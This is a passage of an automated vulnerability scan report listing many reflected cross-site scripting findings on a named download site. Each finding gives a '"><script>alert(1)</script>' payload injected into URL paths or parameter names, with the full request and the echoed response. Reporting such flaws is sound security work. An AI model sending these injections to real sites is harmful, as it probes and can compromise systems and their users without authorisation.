<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categoriescfa0d"><script>alert(1)</script>6f7a56462ad/free-64-bit-business-downloads-2-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bc60f"><script>alert(1)</script>60697c60e67 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-business-downloads-2-0-d.htmlbc60f"><script>alert(1)</script>60697c60e67 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:31:55 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:42:12 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%222%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 85699
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-business-downloads-2-0-d.htmlbc60f"><script>alert(1)</script>60697c60e67" /> ...[SNIP]...
4.1634. http://www.x64bitdownload.com/categories/free-64-bit-business-downloads-2-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d41a"><script>alert(1)</script>99f91a14c93 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-business-downloads-2-0-d.html?6d41a"><script>alert(1)</script>99f91a14c93=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:27:02 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:37:33 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%222%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 85702
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-business-downloads-2-0-d.html?6d41a"><script>alert(1)</script>99f91a14c93=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f845d"><script>alert(1)</script>ffca716742e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categoriesf845d"><script>alert(1)</script>ffca716742e/free-64-bit-communications-chat-instant-messaging-downloads-3-39-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:30:02 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21359
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categoriesf845d"><script>alert(1)</script>ffca716742e/free-64-bit-communications-chat-instant-messaging-downloads-3-39-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2d3b"><script>alert(1)</script>93a1874d47f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-communications-chat-instant-messaging-downloads-3-39-0-d.htmlb2d3b"><script>alert(1)</script>93a1874d47f HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:30:53 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:41:03 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2239%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 83164
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-communications-chat-instant-messaging-downloads-3-39-0-d.htmlb2d3b"><script>alert(1)</script>93a1874d47f" /> ...[SNIP]...
4.1637. http://www.x64bitdownload.com/categories/free-64-bit-communications-chat-instant-messaging-downloads-3-39-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1fe46"><script>alert(1)</script>fbe8aea8d3a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-communications-chat-instant-messaging-downloads-3-39-0-d.html?1fe46"><script>alert(1)</script>fbe8aea8d3a=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:26:53 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:36:54 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2239%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 83167
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-communications-chat-instant-messaging-downloads-3-39-0-d.html?1fe46"><script>alert(1)</script>fbe8aea8d3a=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c6340"><script>alert(1)</script>56e52f2f479 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categoriesc6340"><script>alert(1)</script>56e52f2f479/free-64-bit-communications-dial-up-connection-tools-downloads-3-40-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:31:28 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21361
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categoriesc6340"><script>alert(1)</script>56e52f2f479/free-64-bit-communications-dial-up-connection-tools-downloads-3-40-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 36536"><script>alert(1)</script>62e91f4268d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-communications-dial-up-connection-tools-downloads-3-40-0-d.html36536"><script>alert(1)</script>62e91f4268d HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:32:29 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:43:00 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2240%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 66969
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-communications-dial-up-connection-tools-downloads-3-40-0-d.html36536"><script>alert(1)</script>62e91f4268d" /> ...[SNIP]...
4.1640. http://www.x64bitdownload.com/categories/free-64-bit-communications-dial-up-connection-tools-downloads-3-40-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 695c3"><script>alert(1)</script>3a42e06dc34 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-communications-dial-up-connection-tools-downloads-3-40-0-d.html?695c3"><script>alert(1)</script>3a42e06dc34=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:28:28 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:38:31 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2240%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 66972
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-communications-dial-up-connection-tools-downloads-3-40-0-d.html?695c3"><script>alert(1)</script>3a42e06dc34=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a4190"><script>alert(1)</script>b2c86d6f802 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categoriesa4190"><script>alert(1)</script>b2c86d6f802/free-64-bit-communications-downloads-3-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:30:59 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21333
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categoriesa4190"><script>alert(1)</script>b2c86d6f802/free-64-bit-communications-downloads-3-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98438"><script>alert(1)</script>296e60cbefa was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-communications-downloads-3-0-d.html98438"><script>alert(1)</script>296e60cbefa HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:32:01 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:42:09 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 82513
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-communications-downloads-3-0-d.html98438"><script>alert(1)</script>296e60cbefa" /> ...[SNIP]...
4.1643. http://www.x64bitdownload.com/categories/free-64-bit-communications-downloads-3-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72117"><script>alert(1)</script>b715466a845 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-communications-downloads-3-0-d.html?72117"><script>alert(1)</script>b715466a845=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:27:22 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:37:30 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 82516
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-communications-downloads-3-0-d.html?72117"><script>alert(1)</script>b715466a845=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ad71c"><script>alert(1)</script>a9e556abaea was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categoriesad71c"><script>alert(1)</script>a9e556abaea/free-64-bit-communications-e-mail-clients-downloads-3-41-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:30:33 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21351
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categoriesad71c"><script>alert(1)</script>a9e556abaea/free-64-bit-communications-e-mail-clients-downloads-3-41-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eae6b"><script>alert(1)</script>f87477f9823 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-communications-e-mail-clients-downloads-3-41-0-d.htmleae6b"><script>alert(1)</script>f87477f9823 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:31:43 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:41:46 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2241%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79301
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-communications-e-mail-clients-downloads-3-41-0-d.htmleae6b"><script>alert(1)</script>f87477f9823" /> ...[SNIP]...
4.1646. http://www.x64bitdownload.com/categories/free-64-bit-communications-e-mail-clients-downloads-3-41-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3f940"><script>alert(1)</script>3ed6d3e13d4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-communications-e-mail-clients-downloads-3-41-0-d.html?3f940"><script>alert(1)</script>3ed6d3e13d4=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:27:37 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:37:40 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2241%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79304
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-communications-e-mail-clients-downloads-3-41-0-d.html?3f940"><script>alert(1)</script>3ed6d3e13d4=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c422"><script>alert(1)</script>5ca42390231 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories8c422"><script>alert(1)</script>5ca42390231/free-64-bit-communications-e-mail-list-management-downloads-3-42-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:31:28 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21359
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categories8c422"><script>alert(1)</script>5ca42390231/free-64-bit-communications-e-mail-list-management-downloads-3-42-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7e997"><script>alert(1)</script>a563157449d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-communications-e-mail-list-management-downloads-3-42-0-d.html7e997"><script>alert(1)</script>a563157449d HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:32:43 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:42:47 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2242%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 81909
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-communications-e-mail-list-management-downloads-3-42-0-d.html7e997"><script>alert(1)</script>a563157449d" /> ...[SNIP]...
4.1649. http://www.x64bitdownload.com/categories/free-64-bit-communications-e-mail-list-management-downloads-3-42-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e6f5"><script>alert(1)</script>37142a6112a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-communications-e-mail-list-management-downloads-3-42-0-d.html?3e6f5"><script>alert(1)</script>37142a6112a=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:27:47 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:37:53 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2242%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 81912
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-communications-e-mail-list-management-downloads-3-42-0-d.html?3e6f5"><script>alert(1)</script>37142a6112a=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 880ff"><script>alert(1)</script>aaabc5d7835 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories880ff"><script>alert(1)</script>aaabc5d7835/free-64-bit-communications-fax-tools-downloads-3-43-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:32:29 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21346
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categories880ff"><script>alert(1)</script>aaabc5d7835/free-64-bit-communications-fax-tools-downloads-3-43-0-d.html" /> ...[SNIP]...
